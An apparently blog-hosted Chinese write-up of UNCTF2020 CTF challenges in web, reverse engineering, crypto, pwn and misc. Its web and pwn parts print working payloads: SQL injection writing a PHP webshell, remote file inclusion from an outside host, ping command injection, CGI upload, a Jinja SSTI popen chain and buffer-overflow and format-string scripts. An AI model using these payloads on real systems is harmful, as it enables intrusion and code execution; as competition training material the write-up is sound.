UNCTF2020 wp

WEB

easy_ssrf

进到页面显示源代码,过滤了一些协议。可以用取反绕过伪协议的限制。

#构造paylaod
echo urlencode(~('file:///')).'unctf.com/../../../../../../flag';
#~(%99%96%93%9A%C5%D0%D0%D0)unctf.com/../../../../../../flag

后来发现不是这样的被我蒙对了

easyunserialize

__wakeup()函数里判断password是否等于easy,是的话输出flag。

但是password我们不可控,发现有个filter函数把我们序列化后的字符串进行了替换,且替换后长度增加了,可以吧反序列化的password往后顶然后自己构造一个password的序列化字符串从而控制password。

构造payload

先数一下我们要顶掉的字符串长度(我们自己构造的控制passwoed反序列化的字符串),**";s:8:"password";s:4:"easy";}**为29个字符长度。每构造一个challenge可以顶掉4个所以我们要构造8个challenge字符串。然后后面添加3个字符串。

challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

babyeval

过滤了括号基本所有的函数都用不了,想要执行命令还可以用反引号``.构造paylaod?a=echo%20cat%20flag.php;,发现被拦截,用base64绕过。

?a=echo%20`cat%20flag.php|base64`;

ezphp

post一个data数据然后反序列化,反序列化的username等于一个字符串和password等于一个字符串(不是上面的值,看了群里的消息才知道)

不知道服务器的字符串是啥,看到两个等号想到弱类型比较,在php中**0==‘abc'**的值是True所以可以输入0来绕过。

a:2:{s:8:"username";i:0;s:8:"password";i:0;}

L0vephp

右键查看源代码发现一个字符串

猜测应该是base族的加密,拿到网站上去试发现是base85。

用php伪协议读用base64发现被拦截。想到可以用rot13。

?action=php://filter/string.rot13/resource=flag.php

查看1nD3x.php页面

禁用了一堆东西,还限制了关键字和字数。

看到大佬博客可以用远程包含。

?code=include$_GET[1];&1=http://www.lu0sf.top/1.txt

蚁剑连上就可以看到flag了。

checkin-sql

看起来像强网杯的随便注,也是一个堆叠注入。但是一起输入set prepare execute 会被拦截,那就只用prepare和execute就行了,提示flag不在数据库里,就想到直接写shell。然后用16进制绕过关键字检测。

1';PREPARE hacker from concat(char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,50,51,93,41,32,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,49,46,112,104,112,39
));EXECUTE hacker;


UN’s_online_tools

经典rec,手动fuzz时感觉做过禁用了挺多的,有印象做过

可以直接打印目录下文件,目录穿越找一下flag

找到flag在根目录,这里空格被禁了,用%09(tab)绕过,最终用base64编码绕过,最后payload:

url=127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh&GO=GO

flag:FLAG{cd2dfe77-2db5-4ef2-874f-bef935842133}

最后放一下index.php的代码,各位师傅看看还有没有其他绕法吧

<?php
            if (isset($_GET['url'])){
                $ip=$_GET['url'];
                if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
                    die("<strong><center>非法字符</center></strong>");
                }
                if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
                    die("<strong><center>非法字符</center></strong>");
                }
                $a = shell_exec("ping -c 4 ".$ip);
                echo($a);
            }else{
                echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
            }
?>

easy_upload

善用搜索,查到是De1CTF 2020 checkin的原题,就比原题多禁了一个,导致原题解的换行绕过没法使,禁用名单:

perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

解题思路:上传.htaccess,开启cgi支持,上传cgi脚本,执行cgi脚本,输出flag

1、上传.htaccess

<code>Options +ExecCGI
AddHandler cgi-script .xx</code>

bp抓包修改类型绕过类型限制

2、上传cgi脚本,流程和.htaccess一致,但注意,cgi脚本最好在linux系统下编写,直接在bp里面改内容有可能出错,cgi脚本根据.htaccess的保存后缀,个人保存为4.xx

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0

3,上传成功,访问4.xx文件路径得到flag:

FLAG{05485970-1237-4633-be79-54a1d9b9263b}

easyflask

打开网址,要求作为admin登陆

扫一下目录发现注册和登陆页面

尝试注册成admin,发现可以,当时以为要session伪造

登陆后回到主页,给了个新路径

访问,要求guess一个秘密数字

guess=1,返回错误,看题目,应该是SSTI模板注入,尝试传入{{2*2}}

成功执行,接着看一下配置

(已经用tplmap跑了,没有shell)尝试看一下能用的模块,发现黑名单,手动fuzz一下,过滤了[]|’|"|_|{%%},还有request可以用,又找到一个讲的比较详细的讲payload的项目:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#java

尝试构建payload:

guess={{request|attr((request.args.application)|join)|attr((request.args.usc2,request.args.globals,request.args.usc2)|join)}}&usc=_&application=application&globals=globals

注入成功,当时做到这已经很晚了,然后第二天再做。。。然后同队的罗师傅就又有名场面了

最终payload是罗师傅手机上搓出来的,而且回去直接就能用了,不用再调(罗师傅带我乱杀),最终payload(先用ls查了名字叫flag.txt)

guess={{request|attr((request.args.application)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.import,request.args.usc*2)|join)((request.args.os)|join)|attr((request.args.popen)|join)((request.args.id)|join)|attr((request.args.read)|join)()}}&usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read

得到flag:UNCTF{41120cc4-fe61-4307-8332-10954d89bc21}

ezfind

一开始想不出来是怎么解的,然后出了提示就很简单了。直接传数组使两边值相等。

re

re_checkin

拉进ida发现和一个未初始化的全局变量做比较,直接动态调试就可以出flag了。

反编译

下载下来是一个python打包的exe文件,用pyinstxtractor.py反编译成pyc文件。

逆向后有一个struct.pyc和run.pyc,把run.pyc前4位改成和struct的前4位,然后用uncompyle6反编译成py文件。直接运行就可以得到flag。

babypy

下载得到一个python打包的exe和密文,和上题一样逆向得到py文件。

import os, libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)
 #将字符串转为16进制

def gen(x):
    y = abs(x)
    while 1:
        if y > 0:
            yield y % 2
            y = y >> 1
    else:
        if x == 0:
            yield 0
l = [i for i in gen(x)]
#转为倒过来的2进制
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

代码逻辑是将字符串转为16进制然后再转二进制再转16进制。

写脚本解密

import libnum
ch = '313131303130313031313031313130303131303030313130313131303130303031313030313130303131313130313130313031303130303031313031303030303130303030303030313131303130303031303131313131303131303130303130313131303031313031303131313131303131313030313030313130303130313031313030303031303031313030303130303131303030313031313131303031303130313131313130313130303031313030313130303030303031313030303030303131303030313031313131313031'
#这个是16进制的10直接把3去掉就可以变成二进制了
a = '0b'+ch.replace('3', '')
print(libnum.b2s(a))
#b'unctf{Th@t_is_rea11y_c001}'

easyMaze

拉进ida分析,输入字符串前面需要是unctf{结尾是}

迷宫的主要代码

分析代码wasd分别是上下左右,遇到0和D就返回0,遇到S就跳出循环走出迷宫。

在ida里面看不到迷宫的字符串,要动态调试找迷宫字符串。

把迷宫分成10个一组走迷宫就行了

密码学

简单的RSA

下载,只有一个txt

e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934

看到e很大,直接上脚本

import gmpy2
from Crypto.PublicKey import RSA
import CTF.RSA.ContinuedFractions as ContinuedFractions
import CTF.RSA.Arithmetic as Arithmetic
from Crypto.Util.number import long_to_bytes
def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print("Hacked!")
                    return d
    return False
def main():
    e = 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
    n = 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
    c = 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934
    d = wiener_hack(e, n)
    m = pow(c, d, n)
    print(long_to_bytes(m))    
if __name__ == "__main__":
    main()

得到flag:unctf{wi3n3r_Att@ck}

easy_rsa

from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long

p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
    a = p + q
    b = p - q
    print(a,b)

n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)

#320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
#22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

得到a=p+q,b=p-q,两式相加得到a+b=2p,除2得到p,a-p得到q

import gmpy2 as gp
from Crypto.Util.number import *

c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
q = 155422298738009940394189206134042119662513162560610248399569107132538620220590060772127789136918984458521940817304671619205395736161534795149599241668486283754795346411784845057685713557075371605135986388011998610261360520650827734187124699589734496097678970899686056997267797534053934064148348759788335157899
p = 164976388739628973581511063883090363893890874421691770454048880284500992179926996908823840726558454111596699286948761026319434957217223527703429627592448959262532954019810985574583860227624287638908448719207441426500367172146028171043107126122608800640249201232870138119493156975216320985668013888561826953269
n = p * q
phi = (q - 1) * (p - 1)
e = 65537
d = gp.invert(e, phi)
m = pow(c, d, n)
print(long2str(m))

最后运行脚本得到flag:UNCTF{welcome_to_rsa}

wing

下载到是一个里面doc里的字符,分别输出对应的号码的ascii的字符串就是flag了。

signin

进行了两次aes加密,知道明文和第二次加密的密文,只要遍历所有key的可能,然后加密明文和解密第二次的密文都是得到第一次加密的密文,比较找到相同对应的就是密钥了。

from string import printable
from Crypto.Cipher import AES
from binascii import hexlify,unhexlify
a = {}
b = {}
for i in printable:
	for j in printable:
		for k in printable:
			key1 = '0'*13+i+j+k
			cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
			pt = 'UNCTF2020_Enjoy_Crypto~'.encode()
			val = len(pt) % 16
			if not val == 0:
				pt += b'\x00' * (16 - val)
			c1 = cipher1.encrypt(pt)
			a[c1] = i+j+k

for i in printable:
	for j in printable:
		for k in printable:
			key2 =  i+j+k+'0'*13
			cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
			ch = unhexlify(b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd')
			c2 = cipher2.decrypt(ch)
			b[c2] = i+j+k

result = list(a.keys() & b.keys())[0]
print('key1:','0'*13+a[result])
print('key2:',a[result]+'0'*13)
ch = unhexlify(b'196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaad')
key1 = '0'*13+a[result]
key2 = b[result]+'0'*13
cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
a = cipher2.decrypt(ch)
b = cipher1.decrypt(a)
print(b)
# key1: 0000000000000W<&
# key2: W<&0000000000000
# b'unctf{524e314a-5843-3030-5939-333230323541}\x05\x05\x05\x05\x05'

鞍山大法官开庭之缺的营养这一块怎么补

将o转为a,转为b,就是培根密码解出来就是答案了。

pwn

YLBNB

用pwntool一直发送回车就行了

fan

直接栈溢出到system(’/bin/sh’)就行了

from pwn import *
p = remote('node2.hackingfor.fun','36498')
addr = 0x400739

payload = 'A'*(0x30+0x8)+p64(addr)
p.sendline(payload)
p.interactive()

此图像的alt属性为空;文件名为image-55.png

do_you_like_me?

和上一题一样

from pwn import *
p = remote('node2.hackingfor.fun','36498')
addr = 0x4006D1

payload = 'A'*(0x10+0x8)+p64(addr)
p.sendline(payload)
p.interactive()

你真的会pwn嘛?


格式化字符串漏洞任意内存写,改掉dword_60107C的值为一就行了

from pwn import *

p = remote('node2.hackingfor.fun','38848 ')

addr = 0x60107C
payload = '1%11$naa'+p64(addr)
p.recv()
p.sendline(payload)
p.interactive()

misc

网络深处1

个人认为比较有意思的一题(指背景故事),打开题目


题目内故事纯属虚构,完全架空。

你是一名学生,你在夜间路过一个电话亭,一个人鬼鬼祟祟的进入电话亭拨通了一个电话又拿出手机录了音,他反常的行为引起了你的注意,他走后你决定去电话亭看看。
电话亭里又一个皱巴巴的纸条,上面写着一串数字:636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871,这很可能是刚才的人不小心丢在这里的,这显然不是电话号码,这使你更加好奇,你决定看看他拨的是什么电话号码。
你按了一下重拨键,想看看他拨打的电话号码,但是这个公用电话的屏幕坏了,之传出了一段拨号音,你迅速挂掉电话又重拨了一次并录下了拨号音。
回到寝室的你像弄清楚字条的含义,看来只有得到他拨打的电话才能搞明白字条的含义了。
得到电话号码以后,你拨通了他,里面传出一段杂音,一筹莫展的你决定将这件奇怪的事情告诉警察。

# 电话号码就是压缩包密码</code>

txt内容(如果认出数字是什么的话有可能可以跳步做,但当时不知道),听了下拨号音.wav,就是正常拨打电话的按键音,使用dtmf2num.exe得到号码:15975384265

解压加密压缩包得到两个文件,一段电话录音和一个文本,文本内容

你是一名警察,前段时间有一个学生上报了一个可疑事件,一个人鬼鬼祟祟的打了一通电话又录了音,离开时不小心落下一个意义不明的字条。这名学生给了你一段拨号音,拨号音得到的电话号码,以及那个奇怪的字条。你拨通了那段电话并录了音,里面传出一段刺耳的奇怪录音,录音中可能就有关于字条破解方式的提示,你决定找到字条的秘密。
破解了字条以后,得到一个似曾相识的字符串。

# 得到的字符串就是flag,flag格式为flag{}

你认得这字符串,是某种处理过的字符串,解码以后出现了一个熟悉的单词,看来有必要查查这个人了。

# 不能再往下出了,有缘再见吧

音频拖进Audacity(当时解压出来听了一段,是白噪音,差点把自己愉悦送走),查看频谱图

接着该百度百度该谷歌谷歌,回到那串数字上了,最后查到是一种tupper自我指涉公式的图像,在线转化的网站:Tupper’s Formula Tools (tuppers-formula.ovh)

得到flag:flag{Y29pbA==}

听说原先是有网络深处2的,但是要搭洋葱,8太合适,就没下文了

baba_is_you

用文本打开,看到最后有个网址

看评论得到flag:unctf{let’s_study_pwn}

YLB绝密文件

下载下来是一个pcapng文件,用wireshark打开分析,用**http.request.method==POST** 过滤所有的post包。看到有三次post的数据。分别提取出来要变成换成原始数据再保存为rar就可以获得压缩包。里面还有个pyc,吧多余的数据去掉,然后还是反编译不出来,直接用记事本打开可以看到字符串YLBSB?YLBNB!

根据加密脚本写解密脚本,加密逻辑为先base64加密后再每一位异或,我们只要每一位异或后base64解密就行了。

<code>#coding:utf-8
import base64
key = 'YLBSB?YLBNB!'
file = open("YLBSB.docx", "wb")
enc = open("YLBSB.xor", "rb")
plain = enc.read().decode()
count = 0
for c in plain:
    d = chr(ord(c) ^ ord(key[count % len(key)]))
    file.write(d.encode())
    count = count + 1
with open('YLBSB.docx','rb') as fp:
    data = base64.b64decode(fp.read().decode())
with open('1.doc','wb') as f:
    f.write(data)</code>

得到doc直接ctrl+f搜索unctf发现结尾有flag字符串。

倒影

打开压缩包,得到一个exe文件,运行显示失败,丢进16位编辑器

看文件头判断是jpg文件,而且最后面有串base64编码

得到字符串,其实题目名字是提示,前后都读一下,发现倒着读是504B0304,标准的zip文件头,用python倒着输出一下,得到zip文件的16进制

str = '0000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000000000200A0478747E27616C666000000000000000200000000000000420080000000910000005297D4535E1555E5C90000801000A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C66600000080000000910000005297D4535E1555E5C90000801000A04030B405'
print(str[::-1])

# 504B03040A00010800009C5E5551E5354D79250000001900000008000000666C61672E747874E2E6C73CD96B46772850590141EC105E6DFE537A9EFCBE63817FF6C03AB1FDE9889E7CCE4B504B01023F000A00010800009C5E5551E5354D792500000019000000080024000000000000002000000000000000666C61672E7478740A002000000000000100180004922CA85DA7D60104922CA85DA7D6017675E42AE9A6D601504B050600000000010001005A0000004B0000000000

用16进制编辑器写入数据,改后缀打开

编辑时看了一下,不是伪加密,不知道是不是漏了什么线索,当时没办法硬跑一下跑出来了

密码658745,得到flag:UNCTF{Th13_Is_@_F1@G}

EZ_IMAGE

先用montage把所有图片组合起来,有225张图片我用脚本跑一下猜测图片长宽都为15。

montage *.jpg -tile 15x16 -geometry +0+0 1.jpg

然后用gaps拼图,因为每张图片的大小为60x60所以size=60

<code>gaps --image=1.jpg --size=60 --save</code>

你能破解我的密码吗

下载一个shadow文件,/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。看到有个用户有密码信息拿到cmd5破解得到flag。

下载下来一段密文,不是凯撒也不是维吉尼斯密码,结合题目名字猜测是零宽字符隐写。

http://330k.github.io/misc_tools/unicode_steganography.html这个网站解密但是我在写wp时这个网站进不去。

爷的历险记

玩游戏房间右边上面的房间有个宝箱,会显示base64密文,解密后解锁宝箱,打在门口的老鼠,下面有个宝箱解莫斯电码,往右边走打倒敌人获得一个假flag,然后到地图下面有个宝箱,假flag的长度和123456做异或就是宝箱密码。打倒下面的那个敌人去地图中间那个人那里买hint2提示改存档。先保存一个存档,有个save文件夹,里面有2个rpgsave。用http://web.save-editor.com/tool/rpg_tkool_mv.html改存档打过右边的就有flag了。

YLB’s CAPTCHA

用肉眼看,区分大小写。

撕坏的二维码

用软件直接识别

被删除的flag

linux下用strings找到flag字符串

躲猫猫

下载下来一个excel表格文件打不开,用winhex查看是个压缩包格式,改后缀打开。在xl/sharedStings.xml出看到flag的base64加密形式。

mouse_click

看题目,鼠标流量分析,下载压缩包,得到文件

丢进kali,执行指令

tshark -r mouse_click.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

得到鼠标流量,运行脚本,将流量转换为坐标

nums = []
keys = open('usbdata.txt','r')
result=open('result.txt','w')
posx = 0
posy = 0
for line in keys:
    x = int(line[2:4],16)
    y = int(line[5:7],16)
    if x > 127 :
        x -= 256
    if y >115 :
        y -=256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 : # 1 代表左键,2代表右键
        result.write(str(posx)+' '+str(-posy)+'\n')
keys.close()
result.close()

用gnuplot软件画图

gnuplot -e "plot 'result.txt' " -p

读出flag:unctf{U5BC@P}

阴阳人编码

将就这和不会把改成Ook,将反问号改成问号拿去网站解Ook编码

博客: http://www.lu0sf.top

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
羊城杯2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城杯聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城杯2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城杯2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城杯2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城杯2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城杯2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值